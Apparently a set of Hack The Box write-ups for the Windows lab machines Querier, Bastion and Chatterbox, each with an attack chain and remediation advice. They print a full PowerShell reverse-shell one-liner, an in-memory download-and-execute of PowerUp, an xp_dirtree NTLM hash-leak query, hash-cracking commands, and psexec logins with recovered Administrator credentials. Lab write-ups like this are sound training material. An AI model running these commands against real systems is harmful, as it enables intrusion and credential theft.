Querier writeup

Box name: Querier

Difficulty: Medium

OS: Windows

Overview: Querier is a medium difficulty Windows box which has an Excel spreadsheet in a world-readable file share. The spreadsheet has macros, which connect to MSSQL server running on the box. The SQL server can be used to request a file through which NetNTLMv2 hashes can be leaked and cracked to recover the plaintext password. After logging in, PowerUp can be used to find Administrator credentials in a locally cached group policy file.

Link: https://app.hackthebox.com/machines/Querier?sort_by=created_at&sort_type=desc

Machine IP: 10.129.14.162

Ran rustscan against the machine.

rustscan -a 10.129.14.162 --ulimit 5000 -b 2000 -- -A -Pn

Checked out smb and looks like there is a Reports directory that’s accessible as anonymous.

smbclient -N -L //10.129.14.162/

smbclient //10.129.14.162/Reports

I downloaded it and downloaded and opened with LibreOffice.

There’s not content but it looks like there are macros. We can extract it.

unzip 'Currency Volume Report.xlsm'

It looks like we get credentials inside the macro for the mssql port.

strings vbaProject.bin

reporting:PcwTWTHRwryjc$c6

I was able to get in with those credentials.

/usr/share/doc/python3-impacket/examples/mssqlclient.py reporting@10.129.14.162 -windows-auth

From my notes we can run enable_xp_cmdshell to get a shell but we don’t have permissions. After a while, I wasn’t sure what I could do here so I had to refer to the writeup. We can set up responder, have it try talking to us and capture a hash. Make sure SMB is on.

sudo responder -I tun0 -v

EXEC xp_dirtree '\\10.10.14.155\share', 1, 1;

And we get a hash.

Cracked the hash on the pwnbox.

hashcat -m 5600 hash.txt rockyou.txt

Mssql-svc:corporate568

I was able to connect with these new creds and execute commands now.

I tried running the following command for a shell back but AV blocked it.

EXEC xp_cmdshell 'powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient(''10.10.14.155'',1337);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String);$sendback2 = $sendback + ''PS '' + (pwd).Path + ''> '';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"'

I tried encoding to base64 but that failed.

I referred to the writeup as I’m not completely familiar with bypassing AV yet but apparently they just get a nishang shell on there. I was able to get it on there with no problem, not sure why my original payload was caught though.

Got user.txt

Downloaded powerup as I saw from the overview that this will get us privesc. I had to change my IP though as my VPN kept failing.

IEX(New-Object Net.WebClient).DownloadString('http://10.10.16.147/PowerUp.ps1')

It looks like it found credentials.

Ran impacket and was able to connect.

/usr/share/doc/python3-impacket/examples/psexec.py Administrator:'MyUnclesAreMarioAndLuigi!!1!'@10.129.14.162

And we got root.

GG

Attack Chain

1 – Reconnaissance Ran RustScan and identified ports 135, 139, 445 (SMB), and 1433 (MSSQL). Checked SMB for anonymous access and found a readable Reports share.

rustscan -a 10.129.14.162 –ulimit 5000 -b 2000 — -A -Pn smbclient -N -L //10.129.14.162/

2 – SMB enumeration and macro extraction Connected to the Reports share anonymously and downloaded Currency Volume Report.xlsm. Opened it in LibreOffice and found no visible content but macros were present. Unzipped the file and ran strings against the VBA project binary to extract embedded credentials.

smbclient //10.129.14.162/Reports unzip ‘Currency Volume Report.xlsm’ strings vbaProject.bin

Credentials recovered: reporting:PcwTWTHRwryjc$c6

3 – MSSQL access and NetNTLMv2 hash capture Authenticated to MSSQL using the reporting credentials. The account lacked permissions to enable xp_cmdshell. Set up Responder on tun0 and used xp_dirtree to force the server to authenticate to the attack machine, capturing the NetNTLMv2 hash for the mssql-svc account.

mssqlclient.py reporting@10.129.14.162 -windows-auth sudo responder -I tun0 -v EXEC xp_dirtree ‘\\10.10.14.155\share’, 1, 1;

4 – Hash cracking Cracked the captured NetNTLMv2 hash using Hashcat with rockyou on the Pwnbox.

hashcat -m 5600 hash.txt rockyou.txt

Credentials recovered: mssql-svc:corporate568

5 – MSSQL shell via Nishang Authenticated to MSSQL as mssql-svc which had xp_cmdshell permissions. Standard PowerShell reverse shell payloads were caught by AV. Used a Nishang reverse shell instead which executed successfully and landed a shell. Retrieved user.txt.

6 – Privilege Escalation – cached Group Policy credentials Downloaded and ran PowerUp.ps1 in memory. PowerUp identified Administrator credentials stored in a locally cached Group Policy file.

IEX(New-Object Net.WebClient).DownloadString(‘http://10.10.16.147/PowerUp.ps1&#8217😉

Credentials recovered: Administrator:MyUnclesAreMarioAndLuigi!!1!

7 – Root Used impacket-psexec with the recovered Administrator credentials to get a SYSTEM shell and retrieve root.txt.

psexec.py Administrator:’MyUnclesAreMarioAndLuigi!!1!’@10.129.14.162

---

Key Takeaways

1. Credentials hardcoded in VBA macros – The MSSQL service account credentials were embedded in plaintext inside a macro in a publicly readable Excel file. Credentials must never be hardcoded in documents, scripts, or source files. Use service accounts with the minimum required permissions and store credentials in a secrets management solution.
2. World-readable SMB share exposing sensitive files – The Reports share was accessible to anonymous users and contained a file with embedded credentials. All SMB shares must require authentication and be audited for sensitive content on a regular basis.
3. NetNTLMv2 hash leakage via xp_dirtree – The MSSQL service was able to make outbound SMB connections, allowing hash capture via Responder. Outbound SMB connections from servers should be blocked at the firewall and MSSQL should not be running under an account capable of authenticating to external hosts.
4. Credentials stored in cached Group Policy files – Administrator credentials were recoverable from a locally cached GPP file. Microsoft patched this in MS14-025 but the credentials persisted on this system. Any environment that previously used GPP credential storage must audit all systems for cached preference files and rotate affected credentials.
5. Weak password on a service account – The mssql-svc password was crackable with rockyou. Service accounts should use long randomly generated passwords managed by a PAM solution and rotated regularly.

---

Remediation

[Immediate] Remove credentials from the Excel macro and rotate affected accounts Audit all documents on accessible shares for embedded credentials. Remove the hardcoded credentials from the macro immediately and rotate the passwords for both the reporting and mssql-svc accounts. Implement a secrets management solution for any application that requires database credentials.

[Immediate] Restrict SMB share access Disable anonymous and guest access to all SMB shares. The Reports share must require authenticated access and be restricted to only the users or groups that have a legitimate business need. Audit all shares across the environment for excessive permissions.

[Immediate] Block outbound SMB from servers Configure the host firewall and perimeter firewall to block outbound connections on ports 445 and 139 from servers. This prevents MSSQL and other services from being used to leak NetNTLMv2 hashes to attacker-controlled hosts.

[Immediate] Audit and remove cached GPP credential files Search all systems for cached Group Policy Preferences files containing cpassword attributes using tools such as PowerUp or Get-GPPPassword. Remove any files found and rotate all credentials that were stored in GPP. Apply MS14-025 if not already patched.

[Short-term] Restrict xp_cmdshell and MSSQL service account permissions Disable xp_cmdshell on all MSSQL instances where it is not explicitly required. Run the MSSQL service under a dedicated gMSA with the minimum permissions needed and no ability to authenticate to external network resources.

[Long-term] Implement a secrets management and service account governance programme Establish a policy prohibiting hardcoded credentials in any file, script, or application. Deploy a PAM solution to manage, rotate, and audit all service account credentials. Include MSSQL instances and file shares in the scope of regular penetration tests and configuration audits.

Bastion writeup

Box name: Bastion

Difficulty: Easy

OS: Windows

Overview: Bastion is an Easy level WIndows box which contains a VHD ( Virtual Hard Disk ) image from which credentials can be extracted. After logging in, the software MRemoteNG is found to be installed which stores passwords insecurely, and from which credentials can be extracted.

Link: https://app.hackthebox.com/machines/Bastion?sort_by=created_at&sort_type=desc

Machine IP: 10.129.136.29

Scanned the machine with rustscan.

The smb ports look like low hanging fruits so let’s check those out. Looks like there is a Backups directory with some files. Downloaded those.

There’s also a WindowImageBackup directory with a lot more inside. Read the note but just affirms that there’s a backup here. The other file had 0 bytes.

I poked around the other directories and files and the most interesting are .vhd files. This was taking forever to download. I looked at the writeup to see if I was on the right track and I am, but they use a windows machine to connect to the share. Unfortunately I don’t have enough resources to host a VM nor do I have access to a Windows machine so I’m just skipping this part. There would be a SAM file when we mount this though and that has hashes of the account.

*LATER EDIT: Apparently we can mount this with a linux machine with a few tools that I was not aware of. https://medium.com/@klockw3rk/mounting-vhd-file-on-kali-linux-through-remote-share-f2f9542c1f25*

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

L4mpje:1000:aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9:::

Another fun thing is that I can’t crack these on my machine as again, I don’t have enough resources to crack hashes. Opened up the pwnbox and was able to crack the L4mpje password.

hashcat -m 1000 26112010952d963c8dc4217daec986d9 /usr/share/wordlists/rockyou.txt

L4mpje:bureaulampje

I was able to SSH into the device as port 22 was open.

We can get user.txt

Doing some local enumeration and I see mRemoteNG in Program Files (x86).

Doing some research we could possibly find credentials in a confCons.xml file.

The output is ugly but it looks like there is password for administrator. We can decrypt it with a python scripts found here https://github.com/haseebT/mRemoteNG-Decrypt.

python3 mremoteng_decrypt.py -s "aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw=="

And we can log in to Administrator with the new credentials.

And we get root.txt

GG

Attack Chain

1 – Reconnaissance Ran RustScan and identified ports 22 (SSH), 445 (SMB), and 135 (MSRPC). SMB looked like the most promising starting point.

2 – SMB enumeration and file retrieval Connected to SMB and found a Backups share containing a WindowsImageBackup directory. Inside were two large .vhd files alongside a note confirming a backup was present and a zero-byte file.

3 – VHD mounting and hash extraction The VHD files contained a Windows backup image. Mounting the VHD and navigating to the Windows/System32/config directory exposed the SAM file, which contained local account hashes.

Hashes recovered: L4mpje:26112010952d963c8dc4217daec986d9 Administrator:31d6cfe0d16ae931b73c59d7e0c089c0

4 – Hash cracking Used Hashcat on the HTB Pwnbox with rockyou to crack the L4mpje hash. The Administrator hash was an empty hash and not usable directly.

hashcat -m 1000 26112010952d963c8dc4217daec986d9 /usr/share/wordlists/rockyou.txt

Credentials recovered: L4mpje:bureaulampje

5 – SSH access and user flag Authenticated via SSH as L4mpje using the cracked password and retrieved user.txt.

6 – Privilege Escalation – mRemoteNG credential decryption Local enumeration identified mRemoteNG installed in Program Files (x86). Researched the application and found it stores saved connection credentials in confCons.xml. Located the file and found an encrypted Administrator password. Decrypted it using a public mRemoteNG decrypt script.

python3 mremoteng_decrypt.py -s “aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw==”

7 – Root Authenticated as Administrator using the decrypted credentials and retrieved root.txt.

---

Key Takeaways

1. SMB share exposing a full Windows backup – The Backups share was accessible without authentication and contained a complete Windows image backup including the SAM database. Backup files are high-value targets as they often contain credentials and sensitive configuration data that would otherwise require local access to retrieve.
2. Local account hashes extractable from VHD – Mounting the VHD gave direct access to the SAM file, bypassing any need to touch the live system. Backups must be treated with the same security posture as the systems they represent and should never be stored on unauthenticated network shares.
3. Weak password crackable with rockyou – The L4mpje password was in the rockyou wordlist and cracked quickly. Local account passwords must meet complexity requirements and should be audited against common wordlists as part of regular security reviews.
4. mRemoteNG storing passwords insecurely – mRemoteNG encrypts saved credentials with a static default master password, making decryption trivial with publicly available tools. Any application that stores credentials must use strong, user-defined encryption keys and the storage location must be access controlled.
5. Administrator credentials reachable from a standard user session – The mRemoteNG config file containing Administrator credentials was readable by L4mpje. Sensitive application configuration files must have restrictive ACLs so only the owning user or service account can read them.

---

Remediation

[Immediate] Remove the backup share or require authentication Disable anonymous and guest access to all SMB shares. The Backups share should require authenticated access restricted to backup administrators only. Review all shares across the environment and remove any that expose sensitive data without authentication.

[Immediate] Relocate and protect backup files Windows image backups containing SAM files and other sensitive data must not be stored on network shares accessible to general users. Store backups in a dedicated, access-controlled backup solution with encryption at rest. Treat backup access with the same controls as domain administrator access.

[Immediate] Rotate all credentials extracted from the backup The L4mpje and Administrator credentials recovered from the SAM file and mRemoteNG must be considered fully compromised and rotated immediately.

[Short-term] Harden mRemoteNG configuration If mRemoteNG is required, configure it to use a strong custom master password for credential encryption. Restrict read access on confCons.xml to the owning user only. Evaluate whether a more secure remote management tool should replace it.

[Short-term] Enforce a strong password policy for local accounts Require a minimum password length of 15 characters with complexity for all local accounts. Audit existing local account passwords against common wordlists. Consider deploying Windows LAPS to manage and rotate local Administrator passwords automatically.

[Long-term] Implement a backup security standard Define a policy covering backup encryption, access controls, storage location, and retention. Backups should be encrypted before being written to any network location and decryption keys must be stored separately. Include backup systems in the scope of regular penetration tests.

Chatterbox writeup

Box name: Chatterbox

Difficulty: Medium

OS: Windows

Overview: Chatterbox is a fairly straightforward machine that requires basic exploit modification or Metasploit troubleshooting skills to complete.

Link: https://app.hackthebox.com/machines/Chatterbox?sort_by=created_at&sort_type=desc

Machine IP: 10.129.9.221

Ran rustscan.

rustscan -a 10.129.9.221 --ulimit 5000 -b 2000 -- -A -Pn

Checked out smb port but looks like I don’t get anything. 

smbclient -N -L //10.129.9.221/

Trying to check out the http server nothing resolves. I checked for exploits on Achat though and found this https://github.com/mpgn/AChat-Reverse-TCP-Exploit. Looks like its vulnerable to a buffer overflow. Edited the exploit and got a meterpreter but then my shell kept dying. After rewriting it with a windows/shell_reverse_tcp it’s more stable.

I will do manual enumeration first before using an automated tool as I still need windows practice. Also here is user.txt.

I checked an interesting registry key and tried reusing the password we have for Administrator I was able to get more privilege but not root.txt.

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

But we atleast know that the password works. Got a shell with impacket-psexec.

impacket-psexec 'Administrator:Welcome1!@10.129.9.221'

But I still can’t read root.txt.

This took a bit but I was eventually able to grant everyone access to the file with icacls and then read it.

icacls C:\Users\Administrator\Desktop\root.txt /grant Everyone:F

GG

Attack Chain

1 — Reconnaissance Ran RustScan to identify open ports. Found SMB and ports 9255/9256 (Achat chat service). SMB returned nothing without credentials. HTTP did not resolve. Researched Achat and identified a known buffer overflow vulnerability.

rustscan -a 10.129.9.221 --ulimit 5000 -b 2000 -- -A -Pn smbclient -N -L //10.129.9.221/

2 — Initial Access — Achat buffer overflow Located a public Achat reverse TCP exploit. Edited the payload with the attacker IP and port. Initial Meterpreter shell was unstable and kept dying — rewrote the shellcode using windows/shell_reverse_tcp for a stable shell. Retrieved user.txt.

3 — Privilege Escalation — Winlogon credential reuse Performed manual Windows enumeration. Queried the Winlogon registry key and recovered stored credentials. Attempted to reuse the Administrator password — authentication succeeded but root.txt was not readable due to file permissions.

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

4 — Lateral Movement — psexec as Administrator Used impacket-psexec with the recovered credentials to obtain an Administrator shell. root.txt was still unreadable due to restrictive ACLs on the file itself.

impacket-psexec 'Administrator:Welcome1!@10.129.9.221'

5 — Post-Exploitation — ACL manipulation to read root.txt Granted full access to root.txt for Everyone using icacls, then read the flag.

icacls C:\Users\Administrator\Desktop\root.txt /grant Everyone:F

---

Key Takeaways

1. Achat running on non-standard ports — The chat service was exposed on ports 9255/9256 with a known buffer overflow. Any non-standard service exposed to the network must be identified and assessed. Legacy or niche software rarely receives timely patches.
2. Credentials stored in Winlogon registry — Autologon credentials were stored in plaintext in the registry under HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon. This is a common misconfiguration that immediately hands attackers valid credentials.
3. Password reuse across accounts — The same password was valid for the Administrator account. Passwords must be unique per account. Credential reuse across privilege boundaries is a critical finding.
4. Overly permissive ACL modification allowed — A low or medium privilege user was able to run icacls to grant themselves access to a file owned by Administrator. Write permissions on sensitive file paths must be restricted.
5. Unstable exploit requiring shellcode adjustment — The initial Meterpreter payload was unreliable, requiring a switch to a simpler shell payload. This is common with buffer overflow exploits and highlights the importance of understanding the underlying exploit rather than relying on defaults.

---

Remediation

[Immediate] Patch or remove Achat Achat is an unsupported application with a public buffer overflow exploit. Remove it from all systems immediately. If a chat service is required, replace it with a supported, actively maintained alternative. Block ports 9255 and 9256 at the firewall.

[Immediate] Remove autologon credentials from registry Delete the plaintext credentials stored under the Winlogon registry key. Autologon should never be enabled on servers or systems accessible over a network. If autologon is required for operational reasons, use the Autologon utility with encrypted credential storage and restrict physical access to the machine.

[Immediate] Enforce unique passwords per account The Administrator account shared a password with another account. Implement a password policy enforcing uniqueness across accounts. Use a privileged access management (PAM) solution to rotate and vault Administrator credentials.

[Short-term] Restrict ACL modification permissions Audit which users can modify file ACLs using icacls or similar tools. Standard and service accounts should not have the ability to grant themselves or others access to files outside their scope. Apply the principle of least privilege to all file system permissions.

[Long-term] Audit all non-standard services and ports Implement a network asset inventory and regularly scan for services running on non-standard ports. Any application that cannot be patched or supported should be decommissioned. Include third-party and legacy chat, admin, and utility tools in the vulnerability management scope.